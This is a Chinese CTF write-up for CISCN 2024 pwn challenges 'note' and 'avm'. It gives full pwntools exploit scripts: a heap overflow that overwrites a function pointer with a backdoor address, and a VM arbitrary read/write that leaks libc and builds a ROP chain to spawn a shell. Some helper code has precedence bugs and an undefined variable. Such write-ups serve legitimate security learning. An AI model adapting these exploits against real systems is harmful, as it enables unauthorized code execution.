ciscn2024 × ccb

感觉在坐牢,但是还是被带飞了(爽诶

anote

c++的反汇编,ida_pro的伪代码好丑,大概原理就是edit的时候可以覆盖掉下一个info的函数指针,而那个函数指针在edit中会被调用

首先从选项1中可以得到数据的结构,是在堆中的数据,还包含了一个函数指针

然后在选项2中可以得到堆的地址,就可以精确的修改堆的内容(在选项3中可以溢出修改掉堆的内容)

解题思路

首先要执行两次选项1,得到chunk0和chunk1,然后通过选项2得到堆的地址,再执行选项3,通过修改chunk0覆盖掉chunk1的函数指针为后门地址,最后再执行选项3,调用chunk1的函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
elf = ELF('./note')
context(arch = elf.arch,os = elf.os,log_level = 'debug',terminal = ['tmux','splitw','-h'])
p = remote('47.94.98.232',34826)

p.sendline('1')
p.sendline('1')
p.sendline('2')
p.sendline('0')
res = p.recvuntil('0x')
gift = p.recv(7)
print('1111111111111111111')
print(hex(int(gift,16)))
p.sendline('3')
p.sendline('0')
p.sendline('32')
p.sendline(p32(0x80489ce)+cyclic(0x14)+p32(int(gift,16)+8))
p.sendline('3')
p.sendline('1')
p.sendline('10')
p.sendline('aaaa')

p.interactive()

avm

image-20241215153615108

1
sub_1230(qword_40C0, (__int64)s, 0x300LL);

将输入的opcode存入了bss段中,0x5555555581c0为a1[32],0x5555555581d0为a1[34]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
输入101010101
opcode一次取四个字节
0x30313031
向右28位,得到3(操作码)
如果a1[32] >> 0x28为0或者大于A的话,就退出
3 -> 13c2
13c2(a1,s)
a1是0x5555555580c0,s是execute函数中的数组

v2 = *(_DWORD *)(*(_QWORD *)(a1 + 264) + (*(_QWORD *)(a1 + 256) & 0xFFFFFFFFFFFFFFFCLL))就是0x30313031

v2 = *(d*)( *(q*)a1[33] + ( *(q*)a1[32] & 0xfffffffffc) )

a1[32] += 4

(unsigned __int8)(*(_QWORD *)(a1 + 8LL * ((opcode >> 5) & 0x1F)) + BYTE2(opcode)) < (unsigned __int8)byte_4010、

BYTE2(opcode) = 右移16位 + 与0xfff = opcode的16到27位

a1存储在bss段,a1[33]是输入的opcode的地址,a1[32]是opcode的序号,a1[34]是0x300,限制数
s是栈上的地址

*(_DWORD *)(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) -> opcode [31:0]
opcode >> 28 -> opcode[31:30:29:28] 是操作码,范围是1-10
opcode & 0x1F -> opcode[4:3:2:1:0] -> reg1
(opcode >> 5) & 0x1F -> opcode[9:8:7:6:5] -> reg2
HIWORD(opcode) & 0x1F -> opcode[20:19:18:17:16] -> reg3
HIWORD(opcode) & 0xFFF -> opcode[27:26:25:24:23:22:21:20:19:18:17:16] -> reg4


1: 129A -> add
mem[reg3] + mem[reg2] -> mem[reg1]
2: 132e -> sub
mem[reg2] - mem[reg3] -> mem[reg1]
3: 13c2 -> mul
mem[reg3] * mem[reg2] -> mem[reg1]
4: 1457 -> div
mem[reg2] / mem[reg3] -> mem[reg1]
5: 1503 -> xor
mem[reg3] ^ mem[reg2] -> mem[reg1]
6: 1597 -> and
mem[reg3] & mem[reg2] -> mem[reg1]
7: 162b -> shr
mem[reg2] >> mem[reg3] -> mem[reg1]
8: 16c4 -> shl
mem[reg2] << mem[reg3] -> mem[reg1]
9: 175d -> save
mem[reg1] -> s[mem[reg2]+reg4]
10: 189b -> load
s[mem[reg2]+reg4] -> mem[reg1]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#patchelf --set-interpreter /home/kali/ctfPwn/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/ld-linux-x86-64.so.2 --set-rpath /home/kali/ctfPwn/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64 pwn

from pwn import *
elf = ELF('./pwn')
context(arch = elf.arch,os = elf.os,log_level = 'debug',terminal = ['tmux','splitw','-h'])
#p = remote('47.94.98.232',34826)
p = process('./pwn')

def save(save_idx,reg_idx,offset) -> bytes:
opcode = 9 << 28
save_idx = save_idx & 0x1f
reg_idx = reg_idx & 0x1f << 5
offset = offset & 0xfff << 16
return p32(opcode + offset + reg_idx + save_idx)

def load(load_idx,reg_idx,offset) -> bytes:
opcode = 10 << 28
load_idx = load_idx & 0x1f
reg_idx = reg_idx & 0x1f << 5
offset = offset & 0xfff << 16
return p32(opcode + offset + reg_idx + load_idx)

def subtract(res_idx, reg1_idx, reg2_idx) -> bytes:
opcode = 2 << 28
reg1_idx = (reg1_idx & 0x1f) << 5
reg2_idx = (reg2_idx & 0x1f) << 16
res_idx = res_idx & 0x1f
return p32(opcode + reg1_idx + reg2_idx + res_idx)

def add(res_idx, reg1_idx, reg2_idx) -> bytes:
opcode = 1 << 28
reg1_idx = (reg1_idx & 0x1f) << 16
reg2_idx = (reg2_idx & 0x1f) << 5
res_idx = res_idx & 0x1f
return p32(opcode + reg1_idx + reg2_idx + res_idx)

def debug():
gdb.attach(p)
pause()

pay = b''

# 得到libc的基址
# s[mem[20]+0xd38] -> mem[0]
pay += load(0, 20, 0xd38)
# s[mem[20]+0x370] -> mem[1]
pay += load(1, 20, 0x370)# start offset 0x370
# mem[0] - mem[1] -> mem[0]

# 写入gadgets的偏移
pay += subtract(0, 0, 1)
# s[mem[20]+0x378] -> mem[2]
pay += load(2, 20, 0x378)
# s[mem[20]+0x380] -> mem[3]
pay += load(3, 20, 0x380)
# s[mem[20]+0x388] -> mem[4]
pay += load(4, 20, 0x388)
# s[mem[20]+0x390] -> mem[5]
pay += load(5, 20, 0x390)

# 计算偏移得到gadgets
# mem[0] + mem[2] -> mem[10]
pay += add(10, 0, 2)# system
# mem[0] + mem[3] -> mem[11]
pay += add(11, 0, 3)# binsh
# mem[0] + mem[4] -> mem[12]
pay += add(12, 0, 4)# pop rdi; ret;
# mem[12] + mem[5] -> mem[13]
pay += add(13, 12, 5)# ret

# 将gadgets写入栈中,替换返回地址
# mem[13] -> s[mem[20]+0x118]
pay += save(13, 20, 0x118)
# mem[12] -> s[mem[20]+0x120]
pay += save(12, 20, 0x120)
# mem[11] -> s[mem[20]+0x128]
pay += save(11, 20, 0x128)
# mem[10] -> s[mem[20]+0x130]
pay += save(10, 20, 0x130)

pay = pay.ljust(0x250, b'\x00')

# 这个就是前面的0x370,0x378,0x380,0x388,0x390的值,是手动写入的
pay += p64(0x29d90) # libc offset
pay += p64(0x50d70) # system
pay += p64(next(libc.search(b'/bin/sh'))) # binsh
pay += p64(0x2a3e5) # pop_rdi_ret
pay += p64(1)


p.sendafter('opcode: ',pay)
p.interactive()

写入的数据

image-20241218121130480

固定piebase时,mem为 0x5555555580c0,s为0x7fffffffceb0,

解题思路

先分析opcode对应的函数所对应的功能,然后可以发现load和save函数中,可以对任意地址进行任意读写,那么通过offset就可以将栈上的libc相关地址转移到bss段中,计算出libc_base,然后计算出gadgets,最后再将gadgets从bss段中转移到栈上,修改掉返回地址,即可getshell

anoip

待续,因为最近可能没那么有空,所以要等几天,但是参考链接已经贴在下面了

参考链接

1
2
https://www.a1natas.com/2024-CISCNxCCB/
https://www.52pojie.cn/thread-1991879-1-1.html#52015025_%E8%B5%9B%E5%90%8E%E6%80%BB%E7%BB%93